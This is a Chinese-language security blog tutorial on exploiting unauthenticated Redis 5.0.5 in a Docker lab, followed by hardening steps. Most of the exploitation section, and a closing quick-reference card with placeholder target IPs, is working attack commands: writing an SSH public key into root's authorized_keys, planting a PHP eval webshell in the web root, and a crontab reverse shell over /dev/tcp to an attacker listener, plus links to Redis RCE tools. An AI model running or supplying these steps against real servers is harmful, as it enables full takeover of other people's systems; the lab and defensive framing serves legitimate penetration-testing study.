Redis 未授权访问

1186 字
6 分钟
Redis 未授权访问
2026-09-29
技术文章
安全笔记
/
中间件
浏览量加载中...

一、漏洞概述#

1.1 原理#

Redis 低版本默认情况下会开放 6379 端口，允许任意用户未授权发送 Redis 指令，无需身份认证即可访问和操作 Redis 数据库。

1.2 必要条件#

条件说明
Redis 版本v5.0.5 以下（默认无密码认证）
端口开放6379 端口对攻击者可达
权限以 root 或高权限运行（危害更大）

1.3 漏洞危害#

危害说明
信息泄露未授权访问内部数据
数据破坏执行 FLUSHALL 清空所有数据
写入后门通过数据备份功能写入 Webshell、SSH 公钥
命令执行通过 EVAL 执行 Lua 代码
服务器控制以 root 身份运行时可完全控制服务器

二、Redis 搭建（Docker）#

Terminal window
# 安装 Docker
sudo apt update
sudo apt install docker.io -y


# 拉取并运行 Redis 5.0.5 容器
sudo docker run -d -p 6379:6379 --name redis redis:5.0.5

三、漏洞利用#

3.1 环境拓扑#

┌─────────────┐     ┌──────────────────┐
│   Kali      │────▶│  Ubuntu + Docker  │
│  (攻击机)   │     │   Redis:5.0.5     │
└─────────────┘     └──────────────────┘

3.2 利用方式一：写入 SSH 公钥（免密登录）#

原理： 将 SSH 公钥写入 Redis，通过修改备份路径和文件名，将公钥保存到 ~/.ssh/authorized_keys。

Step 1：生成 SSH 密钥对#

Terminal window
# 在 Kali 上生成 SSH 密钥对（密码设为空）
ssh-keygen
# 一直回车即可

Step 2：准备公钥文件#

Terminal window
# 处理公钥格式（添加换行，否则 Redis 不接受）
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt

Step 3：写入 Redis#

Terminal window
# 将公钥写入 Redis（key 名为 crack）
cat 1.txt | redis-cli -h 192.168.61.103 -x set crack

Step 4：查看并修改备份路径#

Terminal window
# 连接 Redis
redis-cli -h 192.168.61.103


# 查看当前备份路径
192.168.61.103:6379> CONFIG GET dir
1) "dir"
2) "/root"


# 修改备份路径为 .ssh 目录
192.168.61.103:6379> CONFIG SET dir /root/.ssh
OK


# 设置备份文件名为 authorized_keys
192.168.61.103:6379> CONFIG SET dbfilename authorized_keys
OK


# 保存
192.168.61.103:6379> SAVE
OK


# 退出
192.168.61.103:6379> exit

Step 5：免密登录#

Terminal window
# 使用私钥登录目标服务器
ssh -i ~/.ssh/id_rsa root@192.168.61.103

3.3 利用方式二：写入 Webshell#

原理： 将 PHP 一句话木马写入 Redis，通过修改备份路径到 Web 目录，生成 Webshell 文件。

Step 1：连接 Redis#

Terminal window
redis-cli -h 192.168.68.132 -p 6379

Step 2：修改备份路径到 Web 目录#

Terminal window
# 修改备份路径为 Web 根目录
192.168.68.132:6379> CONFIG SET dir /var/www/html
OK


# 设置文件名为 shell.php
192.168.68.132:6379> CONFIG SET dbfilename shell.php
OK

Step 3：写入一句话木马#

Terminal window
# 写入 Webshell
192.168.68.132:6379> SET x "<?php @eval(\$_POST['a'])?>"
OK

Step 4：保存并验证#

Terminal window
# 确认配置
192.168.68.132:6379> CONFIG GET dir
1) "dir"
2) "/var/www/html"


192.168.68.132:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "shell.php"


# 保存
192.168.68.132:6379> SAVE
OK


192.168.68.132:6379> exit

Step 5：访问 Webshell#

http://192.168.68.132/shell.php
POST: a=phpinfo();

3.4 利用方式三：Crontab 反弹 Shell#

原理： 在 Linux 的定时任务目录 /var/spool/cron/ 中写入反弹 Shell 脚本。

Step 1：攻击机开启监听#

Terminal window
nc -lvvvp 6666

Step 2：连接 Redis 并写入反弹命令#

Terminal window
redis-cli -h 192.168.68.132 -p 6379


# 写入反弹 Shell 命令（每分钟执行一次）
192.168.68.132:6379> SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.147/6666 0>&1\n\n"
OK


# 修改备份路径为 Crontab 目录
192.168.68.132:6379> CONFIG SET dir /var/spool/cron
OK


# 设置文件名
192.168.68.132:6379> CONFIG SET dbfilename root
OK


# 保存
192.168.68.132:6379> SAVE
OK

⚠️ 注意： 反弹 Shell 命令中的 IP 要改为攻击机的 IP！

四、Redis 防御加固#

4.1 设置访问密码（禁止未授权访问）#

Terminal window
# 编辑 Redis 配置文件
vi /etc/redis.conf


# 找到 requirepass，取消注释并设置密码
requirepass foobared

验证：

Terminal window
# 连接后无法执行命令
redis-cli -h 192.168.68.132 -p 6379
192.168.68.132:6379> CONFIG GET dir
(error) NOAUTH Authentication required.


# 需要先认证
192.168.68.132:6379> AUTH foobared
OK
192.168.68.132:6379> CONFIG GET dir
1) "dir"
2) "/root"

4.2 设置访问白名单#

Terminal window
# 编辑 Redis 配置文件
vi /etc/redis.conf


# 修改 bind，限制仅允许指定 IP 访问
bind 127.0.0.1 192.168.1.100

4.3 其他加固建议#

措施说明
以低权限运行不要以 root 用户运行 Redis
修改默认端口将 6379 改为其他端口
启用防火墙限制 6379 端口的访问来源
定期更新升级到最新版本，修复已知漏洞
使用非 root 用户创建专用用户运行 Redis

五、Redis 攻击工具#

工具地址说明
redis-rogue-serverhttps://github.com/n0b0dyCN/redis-rogue-serverRedis RCE 利用工具
redis-rcehttps://github.com/Ridter/redis-rceRedis 远程命令执行工具

📌 快速参考卡片#

漏洞检测#

Terminal window
# 扫描端口
nmap -p 6379 目标IP


# 尝试未授权连接
redis-cli -h 目标IP -p 6379


# 如果可执行命令，则存在漏洞
192.168.x.x:6379> INFO

写入 SSH 公钥流程#

Terminal window
ssh-keygen
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 目标IP -x set crack
redis-cli -h 目标IP
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
ssh -i id_rsa root@目标IP

写入 Webshell 流程#

Terminal window
redis-cli -h 目标IP
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php @eval(\$_POST['a'])?>"
SAVE

反弹 Shell 流程#

Terminal window
# 攻击机
nc -lvvvp 6666


# Redis
SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机IP/6666 0>&1\n\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
SAVE

防御加固#

Terminal window
# 设置密码
requirepass 强密码


# 限制访问 IP
bind 127.0.0.1 允许的IP


# 以非 root 用户运行
useradd redis
su - redis

文章分享

如果这篇文章对你有帮助，欢迎分享给更多人！

Redis 未授权访问
https://blog.emberlag.com/posts/redis-unauthorized-access/
作者
3mb3rl4g
发布于
2026-09-29
许可协议
CC BY-NC-SA 4.0
中间件解析漏洞
反序列化漏洞
相关文章智能推荐
1
弱口令与未授权访问
技术文章Hydra 服务爆破、Tomcat 后台弱口令 getshell，以及未授权访问漏洞清单与挖掘思路。
2
信息收集
技术文章从域名、IP、指纹到社工信息，渗透测试前期信息收集的完整思路与常用工具。
3
Webshell 工具
技术文章冰蝎、哥斯拉、蚁剑三款 Webshell 管理工具的特点对比与流量绕过方法。
4
漏扫工具
技术文章AWVS、AppScan、Nessus、Xray 四款漏扫工具的定位、使用方式与扫描结果解读。
5
基线检查及安全加固
技术文章PHP、Windows、Linux、Apache、Nginx、Tomcat、MySQL 七大对象的基线检查与安全加固清单。
随机文章随机推荐

评论区

分享你的想法，与大家交流讨论

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档，我不着急写完，写得慢一点，刚好能让很久以后，还能在此刻的文字里找回共鸣。
分类
标签
更多
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录
1
一、漏洞概述
1.1 原理
1.2 必要条件
1.3 漏洞危害
2
二、Redis 搭建（Docker）
3
三、漏洞利用
3.1 环境拓扑
3.2 利用方式一：写入 SSH 公钥（免密登录）
Step 1：生成 SSH 密钥对
Step 2：准备公钥文件
Step 3：写入 Redis
Step 4：查看并修改备份路径
Step 5：免密登录
3.3 利用方式二：写入 Webshell
Step 1：连接 Redis
Step 2：修改备份路径到 Web 目录
Step 3：写入一句话木马
Step 4：保存并验证
Step 5：访问 Webshell
3.4 利用方式三：Crontab 反弹 Shell
Step 1：攻击机开启监听
Step 2：连接 Redis 并写入反弹命令
4
四、Redis 防御加固
4.1 设置访问密码（禁止未授权访问）
4.2 设置访问白名单
4.3 其他加固建议
5
五、Redis 攻击工具
6
📌 快速参考卡片
漏洞检测
写入 SSH 公钥流程
写入 Webshell 流程
反弹 Shell 流程
防御加固